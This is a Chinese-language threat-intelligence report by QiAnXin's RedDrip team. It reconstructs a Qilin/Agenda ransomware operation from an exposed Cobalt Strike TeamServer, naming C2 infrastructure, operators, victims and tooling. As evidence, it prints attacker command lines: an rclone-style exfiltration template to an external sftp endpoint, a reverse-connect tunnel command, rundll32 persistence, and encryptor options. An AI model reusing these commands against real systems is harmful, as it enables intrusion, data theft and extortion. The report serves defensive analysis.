赛博暗影：从暴露的CobaltStrike基础设施还原Qilin勒索团伙攻击链

原创

红雨滴团队
红雨滴团队

奇安信威胁情报中心

2026年6月5日 14:39
北京

在小说阅读器读本章

去阅读

一、概述

近期，奇安信威胁情报中心在日常样本跟踪分析过程中，发现一套高疑似勒索组织Qilin(Agenda)暴露在外的Cobalt Strike TeamServer工作目录。通过对该目录下TeamServer 配置、事件日志、Beacon 会话日志、目标资产库、凭据库、下载文件、键盘记录、截图和上传载荷等内容的综合研判，可以确认该批文件并非单纯的黑客工具样本，而是能够直接反映Qilin(Agenda)勒索组织真实攻击活动的运营资料。

相关日志显示，该平台至少自 2024 年 8 月起开始使用，并在 2025 年 6 月至 8 月期间持续针对多个受害环境开展控制、侦察、横向移动、凭据窃取、批量搜集和数据外传等攻击行为。从文件侧看，目录名、启动脚本和profile命名都指向同一套较新的Cobalt Strike体系：teamserver脚本以/root/cobalt410/server为工作路径，目录中保留TeamServerImage、listener、artifact和jquery-c2.4.10.profile。我们据此判断，攻击者使用的是未公布过的Cobalt Strike 4.10 TeamServer版本。

从已掌握证据看，Qilin(Agenda)相关操作人员不仅具备对多个受害网络进行长期控制和协同作业的能力，还在部分环境中完成了域级权限获取、共享目录和业务资料分类外传，以及勒索载荷投放。日志中已出现加密范围参数、勒索说明文件和疑似勒索模块批量投递执行链，表明该批泄露资料能够较为完整地揭示 Qilin 勒索组织从入侵、扩散、窃密到勒索实施的关键流程，对研判其攻击模式、受害偏好和战术特征具有较高参考价值。

其中Quaser/QMT活动簇是我们将其关联到Qilin(Agenda)勒索组织证据链最完整的一组。QMT即Quaser Machine Tools, Inc，接下来我们以Quaser/QMT指代该受害环境。本地日志中可以看到QMT域内资产、QMT.COM.TW\fin06、ERPDB/ERPDB2、quaser.exe加密参数、README-RECOVER勒索说明文件和中国台湾低值守时间窗口；公开泄露条目又将Quaser Machine Tools, Inc归入Qilin(Agenda)。两类证据闭合后，可以高置信将该活动簇归属于Qilin(Agenda)相关勒索攻击。

下图概括Quaser/QMT活动中从凭据收割、横向移动、数据外传到加密触发的关键链路。

图1：Quaser/QMT勒索攻击链

二、攻击基础设施复盘

（一）Listener与C2通信

从listeners.bin与日志任务可复原出至少三类通信路径。主力HTTP listener为HTTP-brobin，C2域名包括owa.brobinhood[.]com和www.brobinhood[.]com，监听IP为45.66.249[.]207:80。DNS listener为dns-brobin，目标域包括brobingood[.]com和ns1.brobingood[.]com。还使用SMB/命名管道45smb，pipe名为\\.\pipe\Winsock2\CatalogChangeListener-1a-0，用于内网横向后的peer-to-peer通信。

泄露目录中还可见TeamServer对外绑定地址0.0.0.0、服务端口50050、本地密钥库cobaltstrike.store以及启动相关文件。结合listener、events.log、weblog和Beacon会话记录，该目录属于真实运营期TeamServer，而不是单纯工具仓库或样本临时解包目录。

Malleable C2 profile体现了典型伪装。jquery-c2.4.10.profile使用jQuery风格URI、IE/Trident User-Agent、jquery.com风格证书字段，spawnto指向dllhost.exe，开启sleep\_mask与stomppe。google.profile使用Google API/静态资源风格URI、.googleapis.com和.gstatic.com风格证书字段，pipe名称也使用Winsock2\CatalogChangeListener-##-0，spawnto指向WerFault.exe。

有意思的是，hosted file与download路径多次出现/root/cobalt410/server，说明攻击者并非只使用单个Beacon载荷，而是维护了一套Cobalt Strike 4.10 TeamServer作业目录。相比孤立样本，完整目录可以串起listener、operator、profile、artifact、hosted file、downloads和screenshots之间的关系。

（二）操作员来源与角色

日志中提取到6类主要操作员账号，呈现出明确分工：black是主操作员，掌控枚举、横向、加密器执行、清理和多目标推进；black2集中在Quaser/QMT早期和加密前关键阶段；gha偏数据外传，常与vmware.exe sync/copy同现；neon-lights偏工具投递、远控/隧道；black1/gh为后期接力账号。

从日志看，black、black2、neon-lights最早在2025年6月5日从45.66.249.91接入；若只看可操作命令，Quaser/QMT活动簇最早由black2在2025年6月8日13:06:24 UTC发起psexec横向，gha同日15:41开始执行外传。2024年8月至2025年4月的neo/neo1/neo2记录集中在平台搭建、Loader/EDR对抗和投递调优阶段；2025年6月后，多个operator alias开始在同一TeamServer上分工推进多目标作业。

值得一提的是，2025年7月28日前，主要外部操作员来源为45.66.249[.]91；7月29日起，black、gha、neon-lights、black1、gh等账号陆续从179.43.189[.]17接入。推测此举是攻击基础设施迁移或代理出口切换，降低单点失效风险。

Doghe/Gouhe与主攻击账号关系

Doghe/Gouhe线索来自2025年2月24日DESKTOP-OO64GFF本地用户Doghe相关截图；另一组Javier Milei截图在2025年2月26日出现Loader.exe、SentinelOne、Process Explorer等工具画面。这组截图反映的是早期Loader/EDR对抗验证环境，不是2025年6月至8月主攻击阶段的TeamServer operator alias。

主攻击阶段的操作身份以TeamServer事件和Beacon命令日志得出。black、black2、gha、neon-lights等operator alias持续出现在实战日志中：black承担主控和横向推进，black2集中于Quaser/QMT早期与加密前关键阶段，gha偏数据外传，neon-lights偏工具投递和远控/隧道。

三、详细分析

（一）攻击时间线

日志覆盖2024年8月26日至2025年8月2日，其中主攻击活动高峰集中在2025年6月至8月。解析结果显示至少790条Beacon元数据记录、804个initial beacon、208个内网IP和4149条操作员输入命令。

命令高峰日期如下表所示：

（二）受害者画像

1. 多受害环境总览

结合events.log、targets.bin、downloads.log、beacon\_\*.log和credentials.bin，可以看到该TeamServer同时维护多套独立受害环境。不同环境共享同一控制层和操作员体系，攻击动作从域侦察、凭据收割、横向移动一直延伸到外传和勒索阶段。

从Beacon元数据和横向移动记录看，受害环境不是单一小型网络，而是多组企业域/网段。受害者侧呈现出明显筛选偏好：制造业、工业控制/工程、服务器/电子供应链、财务/ERP/SAP、域控/RDS/文件服务器/虚拟化平台等高勒索价值环境被反复触及。

2. Quaser/QMT：中国台湾地区制造业目标

Quaser/QMT在本文中指Quaser Machine Tools, Inc.及其相关受害环境。公开泄露聚合中该实体被列入Qilin泄露条目；本地Cobalt Strike日志中同一活动簇出现QMT域内主机、QMT.COM.TW\fin06、ERPDB/ERPDB2、quaser.exe和凌晨加密窗口。

这一活动簇的价值在于本地日志与公开泄露条目能够互相咬合：公开泄露聚合条目标注其为中国台湾地区制造业目标[1]；本地日志中则能看到QMT/Quaser命名、Big5/繁体中文输出、中国台湾UTC+8时间差，以及ERP、FIN、RD、NAS/BAK等制造业资产命名。日志可见阶段，攻击者已经取得域和核心服务器访问，随后外传研发/实验室/固件/用户目录，再在192.168.5.140等终端上做凭据补强和交互式桌面查看，最后在中国台湾本地凌晨投递quaser.exe。

3. GRC/GRControls：工业控制/企业制造类目标

GRC/GRControls画像显示受害者拥有完整企业IT架构：域控、SQL、文件服务器、邮件、备份、RDS，以及工厂/仓储/QA相关资产。2025年6月20日出现430条命令、34条外传、13个下载，偏拿数据和凭据；6月23日出现524条命令、147个psexec，偏横向扩散和加密执行。grc.exe/r.exe/ggrc.exe/grcc.exe与quaser.exe同为5254656字节，参数体系高度一致。

4. QCT/Quanta类环境：电子/服务器供应链

QCT命名资产表现出跨地域和工程/服务器基础设施特征。QCTUS-KPHAM、TWDC01、BJFS01、BJDC01、qctdrive、qctlab.tw等命名显示受害者业务数据和实验室资产价值高。MobaXterm和sshpass线索说明攻击者试图进入SSH、Linux或虚拟化管理链。

5. 后期多目标：金融/生产/SAP/RDS类环境

7月末至8月初出现AVD-BANK、PRD-DC-01/02、RHP-SAP01、RHP-DC01、OVDI-RDS、CNDC01、WSUS、WIN-FILE等目标。这些后期目标证明该TeamServer是多目标平台：同一批操作员和工具链可在不同企业、行业和网络中重复落地。

攻击对象的关联并非只来自组织名称。Beacon元数据、主机名、用户、进程和operator命令共同指向一批高价值企业资产。如下表所示：

（三）凭据获取与域枚举

至少292条命令命中凭据获取相关关键字，包含hashdump、logonpasswords、make\_token、MobaXterm密码文件下载等。典型证据包括：2025年6月11日black2在NB-084上两次触发logonpasswords；2025年7月5日black在DC01上下载MobaXterm Stored Passwords两次；2025年8月2日black在CNDC01上执行nltest /domain\_trusts和SharpHound。从权限层面看，多处Beacon元数据以SYSTEM \、Administrator \运行；GRC、RS等环境中还出现Domain Admins/Enterprise Admins枚举、make\_token以及SharePointAdmin、SAPServicePOP、qcttwadm、cYBERaRKadm等高价值账号或服务账号线索。

发现/侦察命令命中1647次。典型命令包括whoami、ipconfig /all、netstat、nltest /domain\_trusts、dsquery subnet、net group Domain admins /domain、portscan、SharpHound/BloodHound。日志中至少34条BloodHound/SharpHound相关事件，说明攻击者在每进入一个新域/新环境后，会快速建立域关系图，用于寻找管理员路径和横向移动目标。

（四）横向移动

横向移动/远程执行命令命中761次。psexec64是最核心的横向移动方式，日志中可见401条jump psexec输入和400余条psexec相关横向命令。典型模式为：jump psexec64 HTTP-brobin，payload落地路径为\\\ADMIN$\<7位随机>.exe，通过服务控制管理器以服务方式启动Beacon。

2025年7月26日在10.11.0.21、10.11.0.20上存在大量对10.67.10.\、10.30.10.\、10.10.11.\*的psexec和bind pipe任务，是整组日志中最强的横向扩展阶段。

（五）数据收集与外传

提取到187条外传命令。攻击者使用伪装路径下的同步工具执行外传。命令结构高度类似rclone：

C:\Windows\Temp\vmware.exe sync/copy --max-age <时间> \"<路径>\" remote:<目录名> -q --exclude=\.exe --exclude=\.msi --exclude=\.iso --exclude=\.pst --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --stats 10s --stats-one-line --progress

该模板说明攻击者不是无差别复制所有文件，而是倾向于排除可执行文件、安装包、ISO和大型邮件归档，优先收集更适合双重勒索的业务文档。远端目录按fin、hr、legal、lab、firmware、projects等主题分类。多处输出明确出现sftp://[email protected][.]59:222/...，因此83.147.17[.]59:222是高置信外传端点。

downloads.log记录了38个通过Cobalt Strike download拉回TeamServer的文件，包含多份BloodHound ZIP、凭据文本、KeePass数据库、HR/财务/安全相关Excel/Word/OneNote文件、MobaXterm Stored Passwords、PowerShell脚本等。

（六）远控与持久化

最明确的持久化/RMM证据来自10.108.3.111：攻击者上传AnyDesk.exe，执行安装到C:\Program Files (x86)\AnyDesk并--start-with-win，随后通过管道设置AnyDesk访问密码，启动AnyDesk并获取ID 1723638209。同一阶段还上传rs64.exe，执行rs64.exe -connect 83.147.17[.]59:8443，说明除Cobalt Strike外还尝试建立额外远控或隧道。

http80.dll被用于计划任务持久化。日志中出现任务名Indexer，动作是周期性执行rundll32.exe \http80.dll,StartW，运行账号为SYSTEM，周期为每5分钟。实际主逻辑由DllMain创建线程进入worker函数，StartW本身是保活式sleep loop。

（七）防御规避与安全产品对抗

截图和日志共同证明攻击者测试或使用了防御规避组件：

（八）截图证据

以下截图来自server/screenshots目录，记录了攻击者测试桌面、EDR对抗和驱动加载阻断等关键场景。

图2：攻击者测试桌面，可见Cobalt Strike、x64dbg、Process Hacker、Visual Studio、BOF.NET、Loader等工具

截图显示同一桌面上存在Cobalt Strike窗口、x64dbg、Process Hacker、Visual Studio、BOF.NET、sleepmask项目、badger目录、beacon\_x64和Loader等工具/项目名。结合2025-02至2025-04的neo操作日志，该环境更像攻击者的Loader、Beacon与EDR对抗验证环境，而非普通受害者桌面。

图3：Loader.exe与SentinelOne检测界面

截图中命令行出现Loader.exe beacon\_x64.bin，目录中存在beacon、obf.bin、run.bin等文件；同时可见SentinelOne Agent。这与日志中的Loader.exe、hashdump、logonpasswords、截图和注入测试形成呼应。

图4：NtdllUnhook.exe被SentinelOne标记为可疑

SentinelOne界面显示NtdllUnhook.exe被判定为suspicious/malicious，Loader.exe风险被mitigated。该证据说明攻击者尝试进行EDR/用户态hook对抗。

图5：Process Explorer驱动加载被阻断

截图显示Process Explorer/Process Hacker相关驱动加载被拦截，PROCEXP152.SYS被标记为suspicious driver prevented from loading。这一证据佐证了攻击者尝试系统工具/驱动加载与EDR对抗的行为判断。

（九）样本分析

0x01 dns.dll与http80.dll

dns.dll与http80.dll是同一套x64 DLL加载框架的不同配置变体。两者.text代码区SHA256完全一致，仅.data区不同。

其具体功能为命名管道处理、子进程创建与管道I/O、临时文件处理、令牌模拟、事件日志API、动态API解析和内存页属性处理等。

日志中rundll32.exe ... http80.dll,StartW会让StartW导出函数进入睡眠循环，同时DLL加载阶段的DllMain已创建StartAddress工作线程。该结构解释了两件日志现象：显式导出名用于维持rundll32.exe进程不退出，主函数由DLL加载阶段创建的线程进入。

0x02 ndp48.dll

ndp48.dll是一个伪装成OpenMP runtime兼容DLL的x64 PE。它导出大量\\_kmpc\\*名称，但关键导出函数为barrier。攻击者通过rundll32.exe c:\windows\temp\
dp48.dll,barrier触发。

barrier内部使用NtTestAlert()执行前线程APC注入。注入的内嵌PE使用反射加载器完成节名、导入名和.text解密。分析表明，ndp48.dll的内层payload是后渗透载荷，覆盖HTTP/WinINet、Winsock、命名管道、进程注入、令牌模拟、文件/进程枚举和命令执行。

从日志侧看，2025年7月26日至8月1日围绕ndp48.dll出现了集中式分发和远程执行。攻击者先上传DLL，再通过SMB复制到目标主机C:\Windows\Temp，之后使用psexec.exe以SYSTEM身份调用rundll32.exe c:\windows\temp\
dp48.dll,barrier执行。ndp48.dll其功能更符合后渗透载荷/加载器特征；该批量投放链与勒索收网阶段高度重合，并非加密器本体。

0x03 Quaser/QMT加密器投递

Quaser/QMT环境中，攻击者上传并运行quaser.exe。该文件在日志中的MD5为cecab124d689209f23b8bd35f01e4dc8，大小为5,254,656字节。加密触发集中在2025年6月11日20:31至20:55 UTC，对应中国台湾时间2025年6月12日04:31至04:55。命令形态包括victim-specific password参数、--paths、--force和管理共享路径。日志还出现is\_spreading\_vcenter标记，以及对902/9084/9401等虚拟化相关端口的关注。

从勒索特征看，quaser.exe具备明显的Agenda/Qilin式目标定制痕迹：一是命令行使用victim-specific password，且与--paths、--force组合；二是通过\\\$管理共享执行路径级加密，而非单机本地目录加密；三是日志输出is\_spreading\_vcenter字段，说明样本或配置中存在虚拟化传播逻辑；四是公开泄露聚合信息将Quaser Machine Tools, Inc归入Qilin，与本地QMT/Quaser命名闭合。

0x04 Qilin/Agenda加密器特征

值得一提的是，QMT阶段的Beacon日志可以释放出一组直接指向勒索触发的关键命令。该组命令体现了Qilin/Agenda式目标定制加密器的几个特征：victim-specific password、路径级加密、ADMIN、低值守窗口触发，以及虚拟化传播字段。

其中日志文件中的Beacon证据如下表所示：

0x05 勒索结果与说明文件落地

日志证据进一步增强了勒索结果判断。2025年6月11日至12日，多个Beacon会话不仅出现quaser.exe执行参数，还记录了加密范围开关和勒索说明文件落地。该证据比单纯看到加密器命令更直接，说明受害主机已经进入加密与勒索说明投放阶段。

四、溯源关联

（一）Qilin（Agenda）归因

该TeamServer可高置信关联Qilin（又名Agenda）勒索组织相关作业。Quaser/QMT事件是证据链最完整的一组：公开泄露条目、本地QMT域内资产、加密器命名、victim-specific password、--paths路径级加密、README-RECOVER勒索说明文件和vCenter/ESXi传播字段同时闭合。

Trend Micro在2024年3月报告中提到[2]，Agenda/Qilin Rust变体支持--password、--paths、--spread、--no-network等参数，并可通过PsExec、SSH和vCenter/ESXi相关方式传播；HHS HC3的Qilin Threat Profile[5]也将Qilin描述为Agenda的后续品牌，具备RaaS、Cobalt Strike、RMM、PsExec/SSH、ESXi和双重勒索特征。综合以上线索，我们认为该泄露目录对应的是Qilin（Agenda）相关勒索攻击的实战运营基础设施，Quaser/QMT事件已达到高置信公开披露标准。

（二）攻击者工作时间

全量4149条输入命令的UTC小时分布显示，峰值集中在UTC 07:00至11:00，最高峰为UTC 10:00（462条）、UTC 08:00（415条）、UTC 07:00（402条）。将全部命令投影到候选时区后，UTC+3至UTC+5更符合人工工作班次，其中UTC+3最符合：

这与公开资料中Qilin被描述为俄语系勒索生态并不冲突。Quaser/QMT最终加密动作发生在中国台湾本地凌晨，说明攻击者会把高交互操作和最终破坏窗口时间拆开，高交互侦察和横向操作落在操作者白天，加密触发则安排在受害者低值守时间。

（三）多环境并行作业关系

同一TeamServer上的GRC/GRControls、QCT/Quanta、RHP/Orchard、CNDC01、OVDI、备份/灾备等环境共享同一控制层、operator alias、listener、ADMIN$/PsExec横向、hashdump/logonpasswords凭据收割、vmware.exe/explorer.exe sync/copy外传和ndp48.dll批量投放链。从基础设施归属和作业链复用看，它们共同构成同一套Qilin相关勒索作业平台的并行受害环境记录。

五、总结

这套TeamServer目录泄露的价值，不在单个Beacon样本，而在完整的暴露了攻击者、工具链和受害者资产。文件侧能看到Cobalt Strike 4.10体系目录、profile/listener/artifact/hosted file；攻击者侧能看到攻击者账号、来源IP、命令节奏和分工；受害者侧能看到域控、文件服务器、RDS、SAP/SQL、备份/WSUS等高价值资产如何被逐步接管。

Quaser/QMT个案的证据链最完整，能够作为本次归因的锚点；其他受害环境则通过同一TeamServer、同一operator体系、同一横向/外传/投放链路与该锚点相连。综合以上线索，我们认为这套暴露目录反映的是Qilin（Agenda）相关affiliate的多目标实战运营平台。

这起事件展示了现代勒索攻击的典型节奏：攻击者在自己的工作时段完成高交互判断和横向扩展，在受害者本地凌晨触发破坏，并通过公开泄露站点进行后续施压。受害企业应关注域控、文件服务器、备份/NAS、RDS/VDI和虚拟化管理节点的安全加固，以及对异常rundll32加载、伪装vmware.exe/explorer.exe外传工具、非授权AnyDesk安装和Cobalt Strike pipe通信的持续监测。

六、防护建议

奇安信威胁情报中心提醒广大用户，谨防钓鱼攻击，切勿打开社交媒体分享的来历不明的链接，不点击执行未知来源的邮件附件，不运行标题夸张的未知文件，不安装非正规途径来源的APP。做到及时备份重要文件，更新安装补丁。

若需运行或安装来历不明的应用，可先通过奇安信威胁情报文件深度分析平台（https://sandbox.ti.qianxin.com/sandbox/page）进行判别。目前已支持包括Windows、安卓平台在内的多种格式文件深度分析。

目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等，都已经支持对此类攻击的精确检测。

七、IOC

MD5

SHA256

C&C

URL

行为IOC

八、参考链接

[1]https://ransomware.live/id/UXVhc2VyIE1hY2hpbmUgVG9vbHMsIEluY0BxaWxpbg

[2]https://www.trendmicro.com/en\_us/research/24/c/agenda-ransomware-propagates-to-vcenters-and-esxi-via-custom-pow.html

[3]https://www.trendmicro.com/vinfo/tr/security/news/ransomware-spotlight/ransomware-spotlight-agenda